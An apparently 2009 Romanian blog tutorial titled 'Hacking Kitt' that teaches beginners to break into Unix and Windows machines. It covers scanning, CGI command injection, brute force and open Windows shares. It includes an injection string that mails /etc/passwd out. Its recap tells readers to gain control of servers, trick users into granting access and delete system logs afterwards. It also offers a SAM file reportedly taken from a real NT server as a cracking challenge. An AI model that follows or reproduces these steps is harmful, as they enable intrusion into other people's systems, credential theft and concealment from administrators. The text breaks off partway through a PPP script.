rss

duminică, 28 iunie 2009

Hacking Kitt - Gid De Hacking Pentru Incepatori

Hacking Kitt pentru incepatori si nivel mediu.

Recomandat si pentru avansati.

"Secretul de a fi plictisitor este acela de a spune absolut totul" - Voltaire

"Daca intelegi,lucrurile sunt asa cum sunt,daca nu intelegi,lucrurile sunt tot asa cum sunt" -Gesha,maestru Zen

"Inainte cand nu intelegeam,vedeam muntii ca munti si apele ca ape,dupa ce am aprofundat nu mai vedeam muntii ca munti si apele ca ape,dupa ce in sfarsit am inteles,iar am inceput sa vad muntii ca munti si apele ca ape" -Tao Te Ching

Cuprins:

1)Disclamer

2)Hacking Unix

3)Hacking Windows

4)NetTools

5)Linkuri utile

6)Un mic test de hack

7)Cate ceva despre Linux(instalare/configurare)

1)Disclamer

Am scris aceasta pagina pentru ca sunt impotriva cenzurii informationale de orice gen.Nu am facut altceva decat sa prezint niste tehnici,dumneavosatra sunteti responsabili de faptele savarsite in urma cunostintelor acumulate de pe aceasta pagina.Orice mesaj de genul "Arata-mi cum se sparge serverul cutare" va fi sters imediat din inbox-ul meu.Accept critici,propuneri si sugestii constructive,injuriile si celelalte mesaje similare vor ramane fara raspuns.Fiti siguri ca citesc toate mesajele chiar daca nu pot raspunde la toate!!Am rugamintea sa lasati acest fisier acolo unde este,sa nu-l puneti pe site-ul dvs.Pe site-ul dvs puteti pune doar ce ati scris dvs,pe acesta va rog sa-l lasati aici.Evident puteti incalca aceasta rugaminte dar in acest caz nu sunteti altceva decat niste oameni care nu sunt in stare de nimic.Puteti totusi face un link la acest site.

2)Hacking Unix

Inainte de a prezenta principalele tehnici de hack a SO Unix va trebui sa cititi ghidul de instalare Linux.Apoi ca sa va familiarizati cu comenzile linux..Acum putem intra in amanunte.

a)FTP

Dupa cum probabil cunoasteti deja ftp este un program cu ajutorul caruia puteti transfera fisiere intre calculatorul dumneavoastra si server.Acest utilitar este foarte folositor in momentul cand avem un cont local pe un anumit server sau cand serverul permite comexiuni anonime folosind perechile username:parola urmatoare annonymous:adresa_de mail sau ftp:guest.O conexiune ftp se poate stabili tastand 'ftp server.com' in casuta Start/Run,unde server.com este serverul la care doriti sa va conectati.In cazul unui atac efectiv asupra unui server,ftp-ul este folosit in combinatie cu telnetul.

b)TELNET

Telnetul este un utilitar care ne permite sa ne conectam la orice port deschis de pe un server si sa dam comenzi daemonului care asculta pe acel port.Mai jos o sa dau o lista cu porturile si serviciile cele mai frecvent utilizate:

port 21: ftp

port 22: SSH

port 23: telnet

port 25: SMTP

port 110: POP3

port 80: server web

port 111: NFS(Network File System)

port 139: SMB(Server Message Block)

port 6667: IRC(Internet Relay Chat)

Evident,fiecare daemon are un numar limitat de comenzi.Spre exemplu daca portul 23 este deschis,atunci daemonul telnet este activ si putem realiza o conexiune pe acel port numai daca avem drept de utilizator pe acel server.Dupa ce conexiunea este stabilita putem da comenzi unix pe server.Putem folosi acest lucru pentru a obtine controlul pe serverul respectiv.Cititi acest material pentru a vedea care sunt principalele tehnici si exploituri.Daca portul 80 este deschis atunci ne putem conecta pe acel port iar cand conexiunea este stabilita putem da comanda GET index.html.Ca raspuns vom primi pagina principala.Daca nu aveti posibilitatea sa instalati linux pe calculatorul personal atunci puteti folosi un shell acount,adica un cont unix pus la dispozitie de un furnizor de astfel de servicii.Aici puteti gasi unul.

c)PORT SCANNING

Pentru a vedea ce servicii ruleaza pe un server se foloseste scanarea porturilor.Astfel de programe se numesc scannere.Unele scannere sunt foarte complexe,acestea verificand si vulnerabilitatile cunoscute.Scannerele sunt concepute pentru diferite sisteme de operare.Pentru Windows: fscan,portscan,IIS scanner,Cerberus.Pentru Unix: SATAN,Strobe,Jakal,etc.Pentru scanarea porturilor eu folosesc JAKAL deoarece este invizibil adica nu lasa nici o urma de conexiune in log-uri.Ca scanner de vulnerabilitati folosesc SATAN.Verificati sectiunea LINKURI pentru a vedea unde puteti gasi aceste scannere.

d)CGI SCANNING

Atacurile asupra CGI sunt foarte populare si 65% dintre ele sunt incununate de succes.In prezent exista peste 500 de vulnerabilitati cunoscute.Un scanner foarte bun este Cgifound.exe.O sa dau un mic exemplu ca sa intelegeti despre ce este vorba.De exemplu daca pe un server NT exista fisierul /test/test.cgi puteti afla calea fizica a serverului folosind urmatorul link:www.server.com/cgi-bin/test/test.cgi.Daca vreti mai multe detalii cititi aici.Sa presupunem ca sunteti administrator de retea si trebuie sa scrieti un script pentru un motor de cautare pentru site-ul dvs.Un exemplu foarte simplu este urmatorul:

--------------------------------------------------------------

#/bin/bash

$a=grep $valoare_introdusa /usl/local/fisier.txt

echo $a fis.txt

cat fis.txt

rm fis.txt

--------------------------------------------------------------

Valoare_introdusa este valoarea introdusa de utilizator.Acesta este cautata intr-un anumit fisier stabilit dinainte cu inregistrari,toate referirile la ea sunt stocate in fis.txt,sunt afisate pe ecran iar apoi fis.txt este sters.Toate bune daca utilizatorul este de buna credinta.El poate introduce urmatorul sir:

blabla;mail nebunu@home.ro < /etc /passwd

Acest sir are ca efect cautarea sirului blabla in fisier iar apoi trimiterea la adresa mea a fisierului /etc/passwd.Asta deoarece unixul accepta executia de comenzi una dupa alta folosind metacaractere.De exemplu:

grep root /etc/passwd;echo a doua comanda;ls -ld /tmp;rlogin -l username hostname

Toate aceste comenzi sunt executate una dupa alta.Sper ca v-ati facut o mica idee despre ce inseamna vulnerabilitatea in CGI.Va recomand niste scannere cum ar fi Cgifound.exe si cgiS.c

e)BUFFER OVERFLOW

Ce inseamna de fapt buffer overflow?Umplerea unei zone de memorie alocata unor anumiti operanzi,operatori,instructiuni sau date.Cum se foloseste aceasta tehnica la obtinerea controlului asupra unui server?Serverul preia niste date de la utilizator si le executa.De exemplu GET cgi-bin/file.pl este o instructiune pe care noi o transmitem iar serverul o executa.Daca nu este specificat in codul sursa controlul asupra dimensiunii instructiunii respective,atunci datele care sunt in plus se executa aleator(ele sunt interpretate ca instructiuni).Aceste tipuri de exploturi sunt de obicei programe in C pe care le compilam pe masina noastra unix cu comanda 'gcc fisier.c -o fisierexecuatbil' si apoi il rulam cu parametrii stabiliti.Daca sunteti buni programatori in C puteti adapta programul respectiv sa ruleze in Windows.Tehnica este extrem de folositoare deoarece in majoritatea cazurilor nu puteti obtine controlul cu ajutorul tehnicilor obisnuite.Cum gasiti astfel de programe?Tastati in browser adresa unei liste de securitate,de exemplu www.freshmeat.net iar apoi intorduceti in caseta de text(motor de cautare) versiunea serverului care va intereseaza.De exemplu eu a trebuit sa testez recent vulnerabilitatea unui sistem pe care rula ProFtpd 1.2.0,asa ca am introdus in motorul de cautare 'proftpd' si am gasit un astfel de exploit care odata compilat pe o platforma FreeBSD si rulat cu parametrii corespunzatori permitea unui atacator sa incarce fisierele /etc/passwd si /etc/shadow ducand astfel la compromiterea sistemului.Desigur,abonarea la o lista de securitate e o idee buna atat pentru un administrator cat si pentru un hacker.

f)BRUTE FORCE

Aceasta tehnica este folositoare in cazul in care obtinem o lista cu toti utilizatorii.Se stie ca multi utilizatori au aceeasi parola ca si username-ul.Sau unele parole sunt de genul username100 sau username urmat de un numar.La inceput si eu foloseam asemenea parole :).Prima mea parola era nebunu45.Cel mai bun program de brute force pentru Windows este Brutus.exe.Verificati sectiunea de linkuri.Am facut un program care se conecta pe portul 25 al unui server si lua prin brute force toti userii.Ia incercati o conexiune telnet pe portul 25 al unui server de mail si dati urmatoarele comenzi:

helo mail

mail from:webmaster

rcpt to:adresa_ta

data

urmeaza textul mesajului

.

quit

Daca adresa introdusa la "rcpt to" era corecta primeati un raspuns de genul "Recipient Ok",daca nu primeati ceva de genul "User unknown".Faceti un program care sa citeasca raspunsul serverului folosind un fisier de useri.Hackul implica inventivitate si imaginatie, iar tehnicile folosite difera de la caz la caz,de la server la server.

g)Recapitulare

Voi prezenta principalele etape pe care trebuie sa le parcurgeti pentru a obtine controlul asupra unui server sub UNIX:

1)adunati informatii (versiuni de server web,ftp,telnet,sendmail,etc) cu ajutorul telnetului si a unui program de scanare a porturilor

2)scanati bug-urile in CGI,bineinteles dupa ce verificati ca exista directorul cgi-bin pe server.:)

3)incercati toate exploiturile cunoscute pentru cazul respectiv si pentu versiunile de servicii care ruleaza pe porturile deschise.

4)Daca nimic nu merge,incercati sa obtineti un cont local,eventual pacalind un utilizator sa va dea acces.Astfel puteti verifica mai indeaproape serverul.

5)Dupa ce obtineti controlul stergeti toate jurnalele.De exemplu puteti sterge /var/adm/messages si/sau /usr/local/httpd/logs.Am dat un exemplu,acestea difera in functie de SO folosit.

3)Hacking Windows

Cred ca metoda este binecunoscuta,totusi o expun in tutorialul meu.Nu insist prea mult asupra ei deoarece o consider o metoda prea simpla si care nu necesita nici un fel de efort.

a)HACKUITI CALCULATOARE PERSONALE

Exista doua posibilitati:ori va luati programul Legion care face totul automat pentru voi ori faceti totul manual,e mai amuzant si mai educativ :)

1)Instalati-va protocolul NetBios sau NetBui(este esential sa aveti acest protocol instalat)

2)Scanati o zona de Ip-uri pentru portul 139

3)Sa presupunem ca ati gasit portul 139 deschis la adresa 156.1.4.4.Deschideti promptul de DOS si tastati "nbtstat -A 156.1.4.4".Daca apare un tabel atunci se pare ca aveti noroc.Deschideti Start/Run si tastati \\156.1.4.4 Daca apare un mesaj de genul "Network not found" atunci treceti la urmatoarea tinta.Daca nu apare nimic,asteptati putin pana veti avea o fereastra cu directoarele Share de pe calculaltorul lamerului respectiv.Dovediti ca sunteti hackeri adevarati si nu stergeti nimic.

4)Daca vi se cere o parola atunci folositi programul Pqwak.exe care exploateaza un bug in win95/98/Millenium si sparge acea parola in 5 minute

b)HACKUITI SERVERE NT

Din moment ce altcineva a explicat eceasta tehnica inaintea mea nu mai este necesar sa pierd si eu timpul.Cititi aici cu mentiunea ca tehnica se poate aplica si in cazul unui cont platit nu numai in cazul unui cont anonim.Totusi daca doriti sa atacati un server NT este bine sa aveti si voi Windows NT cu aceeasi versiune de server instalata.

4)NetTools

Sunt necesare anumite utilitare folosite in scopul obtinerii de informatii despre potentiala tinta.Nu o sa comentez nici unul din ele(mai invatati si singuri) doar o sa le prezint,cu mentiunea ca orice utilizator le are instalate default pe calculator.

PENTRU WINDOWS

tracert----------informatii despre adresa IP a unui server(tracert -j server.com) precum si routere

nbtstat---------stiti deja ce face

netstat--------cititi help-ul :)

ping---------orice bou stie ce face acest utilitar :)

telnet---------l-am explicat pe scurt

ftp------------idem

PENTRU UNIX

N-am chef sa mai explic ce fac astea.Daca sunteti pe o platforma UNIX si nu stiti ce face o comanda tastati "man comanda".De exemplu "man ping"

finger

who

rwho

showemount

rlogin

rexec

rusers

rsh

ping

ftp

telnet

5)Linkuri utile

Folositi aceste linkuri pentru a gasi aproape orice in materie de exploituri

www.astalavista.com

www.securityfocus.com

www.insecure.org

www.altavista.com

6)Un test de hack

Am luat un fisier de pe un server NT pe care l-am decriptat.Fiind vorba de un fisier sam l-am decriptat cu ajutorul programului L0phtcrack.Voi puteti sa o faceti?Desigur,pare extrem de simplu la prima vedere,acum ca aveti toate informatiile dar lucrurile nu sunt intotdeauna asa cum par.Daca reusiti,trimiteti-mi prin email fisierul decriptat si aveti dreptul sa-mi puneti orice intrebare la care eu va voi raspunde.Evident,nu raspund la intrebarea:"Care este adresa serverului de unde ai luat fisierul?: )" pentru ca serverul este real iar eu nu vreau sa intre vreun lamer si sa formateze hardul.Fisierul il luati de aici.

7)Cate ceva despre Linux(instalare/configurare)

Despre instalarea Linuxului cred ca ati citit undeva mai sus,chiar la inceputul acestui tutorial,asa ca nu o sa insist.Oricum,o sa dau cateva sfaturi care nu sunt cuprinse in tutorialul de mai sus:inainte de a partitiona hardul,curatati si defragmentati hardul din DOS cu comanda 'defrag c:' apoi alegeti cu grija discketa de boot si cea de setup in functie de hardware-ul instalat pe calculator.Cel mai bine este sa cititi manualul de instalare.Daca nu aveti posibilitatea sa va instalati Linux din lipsa de spatiu si nu doriti sa ramaneti lameri folositi o versiune miniaturala de linux luata de la www.trinux.org .O alta problema majora este conexiunea la net.Pentru aceasta trebuie sa aveti instalat protocolul PPP(point to point protocol).Daca nu-l aveti dati comanda 'make config' si la intrebarea daca doriti sa-l instalati selectati 'y'.In continuare o sa prezint scriptul folosit de mine sa ma conectez la un isp.Userul meu este 'hacker' si parola 'bleh'.Mai intai editez fisierul /etc/ppp/options.Iata cum:

user hacker

name hacker

remotename xnet.ro

modem

crtscts

asyncmap 0

defaultroute

noipdefault

/dev/ttyS2

lock

connect /etc/ppp/script

Apoi editez fisierul /etc/ppp/script:

#!/bin/sh

TEL=2054444

LOGNAME=client

0 comentarii:

Trimiteți un comentariu